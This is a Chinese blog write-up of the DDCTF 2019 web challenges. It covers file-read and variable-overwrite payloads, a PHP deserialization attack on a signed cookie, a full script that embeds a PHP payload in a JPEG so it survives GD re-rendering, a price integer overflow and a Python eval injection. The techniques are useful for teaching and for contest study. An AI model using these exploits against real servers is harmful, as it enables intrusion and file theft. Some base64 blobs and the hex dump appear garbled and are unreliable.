

# 2019ddctf web WriteUp

原创

as-root 于 2019-04-20 22:50:15 发布 412 收藏

版权声明：本文为博主原创文章，遵循[CC 4.0 BY-SA](#)版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/weixin\\_43999372/article/details/89409888](https://blog.csdn.net/weixin_43999372/article/details/89409888)

版权

## web

### 1. 滴

看到链接地址

<http://117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09>

TmpZMIF6WXhOamN5UIRaQk56QTJOdz09 两次 base64 decode，再 hex2bin，得到 flag.jpg

16进制到文本字符串的转换，在线实时转换（支持中文转换）

加密或解密字符串长度不可以超过10M

666C61672E6A7067

16进制转字符 字符转16进制 清空结果

utf-8

flag.jpg

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

想到是文件读

取，index.php 装换为16进制，然后2次base64 encode，进行读取

查看源代码，发现一串这个，base64 decode得到源码

```
PD9waHNCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkb15uZXQvRmVuZ0JhbkxpdV11bi9hcRpY2x1L2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGUdIEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3J1cG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0Up0w0KDQoNCmh1YWRIcignY29udGVudC10eXB1OnR1eHQvaHRtbDtjaGFyc2V0PVX0Zi04Jyk7DQppZighIGlzc2V0KCRFR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdS2WZyZXNoOjA7dXJzPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScp0w0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWnvZGUoYmFzZTY0X2R1Y29kZSgkX0dFVFsnanBnJ10pKSk7DQp1Y2hvICc8dG10bGU+Jy4kX0dFVFsnanBnJ10uJzwvdG10bGU+JzsNCiRmaWx1ID0gchJ1Z19yZXByYWN1KCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUp0w0KZWNoobyAkZmlsZS4nPC9icj4n0w0KJGZpbGUgPSBzdHJfcnVwbGFjZSgiY29uZmlnIiwiISIsICRmaWx1KTsNCmVjaG8gJGZpbGUuJzvWYnI+JzsNCiR0eHQgPSBiYXN1NjRfZW5jb2R1KGZpbGVfZ2V0X2NvbnR1bnRzKCRmaWx1KSk7DQoNCmVjaG8gIjxpbWcg3JjPSdkYXRh0mltYWd1L2dpZjtiYXN1NjQsIi4kdHh0LiInPjwvaW1nPj7DQovKg0KICogQ2FuIH1vdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
```

```

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4, 2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=../index.php?jpg=TnpBM01qWXhOak0zTkRZNU5qTTJOVEpsTnpRM09EYzBNbVUzTxpjM056QT0');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>' . $_GET['jpg'] . '</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
echo $file . '<br>';
$file = str_replace("config", "!", $file);
echo $file . '<br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64," . $txt . "'></img>";
/*
 * Can you find the flag file?
 *
*/
?>

```

事实证明这是绕不过的，然后发现一个博客链接地址，和一个日期，最后的脑洞就是在该日期对应的博客下的图片中有个提到 practice.txt.swp文件，尝试读取该文件获得如下结果



解密base64得到f1ag!ddctf.php，然后尝试读取f1ag!ddctf.php,因为读取文件字符只允许 a-zA-Z0-9，所以我们利用\$file = str\_replace("config", "!", \$file);这个条件，我们读取f1agconfigddctf.php，相当与读取f1ag!ddctf.php，最后获得如下

```
PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2h1bGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQog
ICAgJGNvbR1bnQ9dHJpbShmaWx1X2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsN
Cg19DQoJZWxzzQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==
```

base64解码

```
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo 'hello';
    }
}
?>
```

接下来就是一个变量覆盖加file\_get\_contents与php://input结合

所以最后payload如下

```
http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
```

也可以都为空

```
http://117.51.150.246/f1ag!ddctf.php?k=&uid=
```



DDCTF{436f6e67726174756c6174696f6e73}

2 web签到题

抓包，看到如下处，随便添个admin，返回一个链接地址

Request

Raw Params Headers Hex

POST /app/Auth.php HTTP/1.1  
Host: 117.51.158.44  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0)  
Gecko/20100101 Firefox/63.0  
Accept: application/json, text/javascript, \*/\*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: http://117.51.158.44/index.php  
Content-Type: application/json;charset=utf-8  
Didictf\_username: admin  
X-Requested-With: XMLHttpRequest  
Connection: close  
Cookie: Hu\_lvt\_dde6ba2851f3db0ddc415ce0f895822e=1555038063;  
Hu\_lpvt\_dde6ba2851f3db0ddc415ce0f895822e=1555678064  
Content-Length: 0

Response

Raw Headers Hex

HTTP/1.1 200 OK  
Server: nginx/1.10.3 (Ubuntu)  
Date: Fri, 19 Apr 2019 12:48:17 GMT  
Content-Type: application/json  
Connection: close  
Content-Length: 140

{"errMsg": "success", "data": "\u00a3\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5453----\u8bf7\u8bbf\u95eeapp\fl2XID2i0Cdh.php"}

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

访问这个链接地址得到如下代码

```
url:app/Application.php

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
                'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;
    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前权限为管理员----请访问:app/fl2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉，您没有登陆权限，请获取权限后访问----','error');
        }
    }
}
```

```
    exit();
}

}

private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\"','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
```

url:app/Session.php

```
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey = '';
    var $cookie_expiration = 7200;
    var $cookie_name = 'ddctf_id';
    var $cookie_path = '';
    var $cookie_domain = '';
    var $cookie_secure = FALSE;
    var $activity = "DiDiCTF";

    public function index()
    {
        if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }
    }
}
```

```

}

private function get_key() {
    //eancrykey and flag under the folder
    $this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
    if(empty($_COOKIE)) {
        return FALSE;
    }

    $session = $_COOKIE[$this->cookie_name];
    if(!isset($session)) {
        parent::response("session not found",'error');
        return FALSE;
    }
    $hash = substr($session,strlen($session)-32);
    $session = substr($session,0,strlen($session)-32);

    if($hash !== md5($this->eancrykey.$session)) {
        parent::response("the cookie data not match",'error');
        return FALSE;
    }
    $session = unserialize($session);

    if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])) {
        return FALSE;
    }

    if(!empty($_POST["nickname"])) {
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
    }

    if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
        parent::response('the ip addree not match','error');
        return FALSE;
    }
    if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
        parent::response('the user agent not match','error');
        return FALSE;
    }
    return TRUE;
}

private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
        $sessionid .= mt_rand(0,mt_getrandmax());
    }
}

```

```

$userdata = array(
    'session_id' => md5(uniqid($sessionid,TRUE)),
    'ip_address' => $_SERVER['REMOTE_ADDR'],
    'user_agent' => $_SERVER['HTTP_USER_AGENT'],
    'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
    $this->cookie_name,
    $cookiedata,
    $expire,
    $this->cookie_path,
    $this->cookie_domain,
    $this->cookie_secure
);

}

}

$ddctf = new Session();
$ddctf->index();

```

题的大概意思是判断是否存在`ddctf_id`这个cookie，并且不为空，不存在或者为空就根据它的`session_create()`创建session，赋值给cookie，下次请求就带上该cookie，看代码时候看到这个，那可能是要读文件了。

```

//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');

```

继续看一遍，发现`$session`的值是从`cookie`中取的（也就是`cookie`的值可控）进过一系列处理，然后传入到了`unserialize`中，明显可以反序列

```

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
    parent::__construct("session not found", 'error');
    return FALSE;
}
$hash = substr($session, strlen($session)-32);
$session = substr($session, 0, strlen($session)-32);

```

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

```

}
$session = unserialize($session);

```

刚好`Application`类中如果给`$path`赋值就可以读文件，所以，总的思路就是构造`cookie`利用上面的序列化，实例化`Application`为`$path`赋值，然后读文件就可以拿到flag了。

```

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
                'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
            exit();
        }
    }

    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\"','',$path);
        return $path;
    }

    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
}

```

但在序列化之前有如下代码需要绕过，也就是需要eancrykey才能构造

```
if($hash !== md5($this->eancrykey.$session))
```

继续看代码发现如下代码

```
if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}
```

发现如果传入nickname=%s可以泄露key  
我们先利用他自己创建的cookie得到key,如

The screenshot shows a session in Burp Suite Professional. The 'Request' tab displays a POST request to /app/Session.php with various headers and a Content-Type of application/x-www-form-urlencoded. A red arrow points from the 'Cookie:' header to the 'Content-Length: 11' field. The 'Response' tab shows the server's response in JSON format, indicating success and a welcome message.

**Request**

Raw Params Headers Hex

```
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://117.51.158.44/index.php
Content-Type: application/x-www-form-urlencoded
didict_username: admin
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: nickname=%s
Content-Length: 11
```

**Response**

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 20 Apr 2019 04:17:09 GMT
Content-Type: application/json
Connection: close
Set-Cookie: ddct_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222995dcd375794e65b1e6af1e5965113%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22125.70.254.70%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A78%3A%22Mozilla/2F5.0%4%28Windows+NT+10.0%3B+Win64%3B+x64%3B+r%3A63.0%29+Gecko%2F20100101+Firefox%2F63.0%22%3Bs%3A9%3A%22user_date%22%3Bs%3A0%3A%22%22%3B%D9e5858a6aa4c7b98e3c08f7lee36731; expires=Sat, 20-Apr-2019 06:17:09 GMT;
Max-Age=7200
Content-Length: 188

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7bal\u7406\u5458----\u8bf7\u6bbf\u95ee:app/\u2121ID2i0Cdh.php"} {"errMsg":"success","data":"DiDi Welcomne you %s"}
```

得到key EzbIrbNS

然后我们利用key来构造以绕过.题目自己构造的session如下.

```
a:4:{s:10:"session_id";s:32:"2995dc3d757948e65b1e6af1e5965113";s:10:"ip_address";s:13:"125.70.254.70";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0";s:9:"user_data";s:0:"";}f9e5858a6aa4c7b98e3c08f71ee36731;
```

代码的功能就是把key与序列化值拼接然后md5

然后与后面的md5值进行比较

```
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if(\$hash !== md5(\$this->eancrykey.\$session))
```

我们想要反序列的对象为Application的对象，以用来读文件，看看Application类，对路径有过滤，用双写绕过序列化代码如下

```
<?php

class Application
{
    var $path="....//config/flag.txt";

}

$a = new Application();
echo serialize($a);

?>
```

构造后的如下

```
0:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}77cd55a8d29df4f005f85e536d876525
```

编码后放入cookie得到flag

The screenshot shows the Burp Suite interface with the following details:

- Request Tab:** Contains the raw HTTP POST request to /app/Session.php with various headers and a large base64-encoded payload.
- Response Tab:** Shows a successful HTTP/1.1 200 OK response with JSON content. The response body includes:

```
{"errMsg":"success","data":"\u00a0\u5f3\u524d\u5f3\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458---\u8bf7\u8bbf\u95ee:app\fl2XID2i0Cdh.php"}{"errMsg":"Congratulations","data": "DDCTFidctf2019_G4uqwj6E_pHvIHDGdV3qA2ji"}
```
- Bottom Status Bar:** Displays the URL [https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372).

### 3.Web - Upload-IMG

要求上传的图片中有phpinfo，想起图片马，但每次上传后都显示没有，google php检查图片木马等等类似的，找到gd库二次渲染，用winhex打开第一次上传后下载的图片，也发现gd



Offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	MINI ASCII
00000000	FF	D8	FF	E0	00	10	4A	46	49	46	00	01	01	01	00	60	00	60	yöyà JFIF
00000018	00	00	FF	FE	00	3B	43	52	45	41	54	4F	52	3A	20	67	64	2D	ÿþ ;CREATOR: gd-jpeg v1.0 (using I
00000036	6A	70	65	67	20	76	31	2E	30	20	28	75	73	69	6E	67	20	49	JG JPEG v80), quality = 80 yû C
00000054	4A	47	20	4A	50	45	47	20	76	38	30	29	2C	20	71	75	61	6C	%
00000072	69	74	79	20	3D	20	38	30	0A	FF	DB	00	43	00	06	04	05	06	# , #&')*) -0-
00000090	05	04	06	06	05	06	07	07	06	08	0A	10	0A	0A	09	09	0A	14	(0%) (yû C
00000108	0E	0F	0C	10	17	14	18	18	17	14	16	16	1A	1D	25	1F	1A	1B	( ( ( ( ( ( ( (
00000126	23	1C	16	16	20	2C	20	23	26	27	29	2A	29	19	1F	2D	30	2D	((((( ( ( ( ( ( (
00000144	28	30	25	28	29	28	FF	DB	00	43	01	07	07	0A	08	0A	13	28	((((( ( ( ( ( ( ( (
00000162	0A	0A	13	28	1A	16	1A	28	28	28	28	28	28	28	28	28	28	28	((((( ( ( ( ( ( ( (
00000180	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	((((( ( ( ( ( ( ( (
00000198	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	((((( ( ( ( ( ( ( (
00000216	28	28	28	FF	C0	00	11	08	01	2F	01	F4	03	01	22	00	02	11	((yÀ / ô "
00000234	01	03	11	01	FF	C4	00	1F	00	00	01	05	01	01	01	01	01	01	ÿÀ
00000252	00	00	00	00	00	00	00	00	01	02	03	04	05	06	07	08	09	0A	ÿÀ µ
00000270	0B	FF	C4	00	B5	10	00	02	01	03	03	02	04	03	05	05	04	04	} !1A Q
00000288	00	00	01	7D	01	02	03	00	04	11	05	12	21	31	41	06	13	51	a "q 2 ' ; #B±Á RÑð \$3br, %' () *
00000306	61	07	22	71	14	32	81	91	A1	08	23	42	B1	C1	15	52	D1	F0	456789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000324	24	33	62	72	82	09	0A	16	17	18	19	1A	25	26	27	28	29	2A	~šç£¤¥ S'©¤¤'µ¶·, 1ºÅÅÅÅÆÇÈÉÈØÓØÓ×Ø ÚÚááááåæçééèñòóððð ÷øùúýÀ
00000342	34	35	36	37	38	39	3A	43	44	45	46	47	48	49	4A	53	54	55	*56789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000360	56	57	58	59	5A	63	64	65	66	67	68	69	6A	73	74	75	76	77	w !1 AQ
00000378	78	79	7A	83	84	85	86	87	88	89	8A	92	93	94	95	96	97	98	aq "2 B';±Á #3Rð \$4á%ñ &(' ) *56789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000396	99	9A	A2	A3	A4	A5	A6	A7	A8	A9	AA	B2	B3	B4	B5	B6	B7	B8	~šç£¤¥ S'©¤¤'µ¶·, 1ºÅÅÅÅÆÇÈÉÈØÓØÓ×Ø ÚÚááááåæçééèñòóððð ÷øùúýÀ
00000414	B9	BA	C2	C3	C4	C5	C6	C7	C8	C9	CA	D2	D3	D4	D5	D6	D7	D8	xxyz, f,...t‡^‰S'"---~
00000432	D9	DA	E1	E2	E3	E4	E5	E6	E7	E8	E9	EA	F1	F2	F3	F4	F5	F6	xøÙÙååååæçééèñòóððð
00000450	F7	F8	F9	FA	FF	C4	00	1F	01	00	03	01	01	01	01	01	01	01	ÿÀ µ
00000468	01	01	00	00	00	00	00	00	01	02	03	04	05	06	07	08	09	0A	ÿÀ µ
00000486	0B	FF	C4	00	B5	11	00	02	01	02	04	04	03	04	07	05	04	04	ÿÀ µ
00000504	00	01	02	77	00	01	02	03	11	04	05	21	31	06	12	41	51	07	aq "2 B';±Á #3Rð brñ \$4á%ñ &(' ) *56789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000522	61	71	13	22	32	81	08	14	42	91	A1	B1	C1	09	23	33	52	F0	456789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000540	15	62	72	D1	0A	16	24	34	E1	25	F1	17	18	19	1A	26	27	28	w !1 AQ
00000558	29	2A	35	36	37	38	39	3A	43	44	45	46	47	48	49	4A	53	54	brñ \$4á%ñ &(' ) *56789:CDEFGHIJSTU VWXYZcdefghijstuvwxyzf,...t‡^‰S'"---~
00000576	55	56	57	58	59	5A	63	64	65	66	67	68	69	6A	73	74	75	76	xxyz, f,...t‡^‰S'"---~
00000594	77	78	79	7A	82	83	84	85	86	87	88	89	8A	92	93	94	95	96	~šç£¤¥ S'©¤¤'µ¶·, 1ºÅÅÅÅÆÇÈÉÈØÓØÓ×Ø ÚÚááááåæçééèñòóððð ÷øùúýÀ
00000612	97	98	99	9A	A2	A3	A4	A5	A6	A7	A8	A9	AA	B2	B3	B4	B5	B6	xøÙÙååååæçééèñòóððð
00000630	B7	B8	B9	BA	C2	C3	C4	C5	C6	C7	C8	C9	CA	D2	D3	D4	D5	D6	xøÙÙååååæçééèñòóððð
00000648	D7	D8	D9	DA	E2	E3	E4	E5	E6	E7	E8	E9	EA	F2	F3	F4	F5	F6	xøÙÙååååæçééèñòóððð

上传一张jpg，然后下载下来利用如下脚本

具体原理可以参考如下链接

<https://xz.aliyun.com/t/2657#toc-13>

```
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and Launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
```

```
die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0", $nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_' . $argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte() !== 0x00) {
                            break;
                        }
                    }
                }
            }
            $stopPos = $dis->seek() - 2;
            $imageStreamSize = $stopPos - $startPos;
            $outStream =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                substr(
                    str_repeat("\0", $nullbytePayloadSize) .
                    substr($outStream, $startPos, $imageStreamSize),
                    0,
                    $nullbytePayloadSize + $imageStreamSize - $extraBytes) .
                substr($outStream, $stopPos);
        } elseif($correctImage) {
            $outStream = $outStreamTmp;
        } else {
            break;
        }
        if(checkImage('payload_' . $argv[1], $outStream)) {
            die('Success!');
        } else {
            break;
        }
    }
}
```

```
        break;
    }
}
}

unlink('payload_'.argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('//(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.basename($filename).']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
    }
}
```

```

        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData || (strlen($this->binData) === 0);
    }
}

?>

```

```

F:\phpStudy\PHPTutorial\php\php-5.4.45
λ php.exe payload.php 190420084206_659400746.jpg
Success!
F:\phpStudy\PHPTutorial\php\php-5.4.45
λ |

```

然后上传图片得到flag



[Success]Flag=DDCTF{B3s7\_7ry\_php1nf0\_0d5180d418f29fad}  
[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

4.大吉大利，晚上吃鸡

这题，f12 然后发现一个请求

[http://117.51.147.155:5050/ctf/api/buy\\_ticket?ticket\\_price=2000](http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=2000)

发现可以更改价格2000，想起整数溢出  
更改为4294967296，也就是2的32次方

① 117.51.147.155:5050/ctf/api/buy\_ticket?ticket\_price=4294967296

主页 | 教育行业漏洞... 漏洞列表 | 乌云漏洞... 渗透学习文章 ctf 大佬博客 渗透学习视频 各种问题解决 漏洞查找利用网站 加密破解网站 渗透工具 面

JSON 原始数据 头

保存 复制 全部折叠 全部展开

```
code: 200
data:
  0:
    bill_id: "2f11940a-207c-44bb-ad0f-7d0c5dbcd627"
    ticket_price: 4294967296
    user_name: "aasdff"
msg: "购买门票成功"
```

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

余额 100



订单列表

商品名称	数量	单价	订单状态	操作
吃鸡入场券	1	4294967296元	未支付	支付 删除

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

支付成功了

恭喜您获得一张入场券和一个礼包!

礼包详情 id: 121 ticket: 5b7a8e9116e8f2a80a46b4796447d011

当前剩余对手:100人

移除对手 返回首页

交易成功

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

接下来就是自己注册，自己移除了，就是脚本的事了  
,然后脚本做完了就删除了，就不想再写了

homebrew event loop

查看代码

这个代码漏洞点在eval函数，我们可以用#号注释掉后面的\_\_handler和\_\_function，从而导致任意函数执行。我们就可以实现trigger\_event函数，从而往event\_queue中添加event

```
try:  
    event_handler = eval(action + ('_handler' if is_action else '_function'))  
    ret_val = event_handler(args)
```

一个while，不断实现event\_queue中的event handler或function，总的意思就是可以调用任意handle和function

```
while len(request.event_queue) > 0:  
    event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2"  
    request.event_queue = request.event_queue[1:]  
    if not event.startswith(('action:', 'func:')): continue  
    for c in event:  
        if c not in valid_event_chars: break  
    else:  
        is_action = event[0] == 'a'  
        action = get_mid_str(event, ':', ';')  
        args = get_mid_str(event, action+';').split('#')  
        try:  
            event_handler = eval(action + ('_handler' if is_action else '_function'))  
            ret_val = event_handler(args)
```



[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

接下来查看哪里调用了flag(),但要满足session['num\_items']>=5初始值为

```
@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or
        querystring == 'action:index;False#False'
        if 'num_items' not in session:
            session['num_items'] = 0
            session['points'] = 3
            session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()
```

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

```
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG() # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
```

我们看哪里可以使session['num\_items']增加，找到该函数

```
def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
```

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

上面这里会又添加consume\_point到event\_queue中，如果该consume\_point\_function在get\_flag\_handler的之前实现，那么会raise RollBackException()，从而退出while，导致get\_flag\_handler不能实现，所以要在buy\_handler加入event\_queue后又把get\_flag\_handler加入event\_queue

```
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume
```

最后会把flag加入session，网上找个脚本解密session就行

```
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG() # show_flag_function has been disabled, no worries
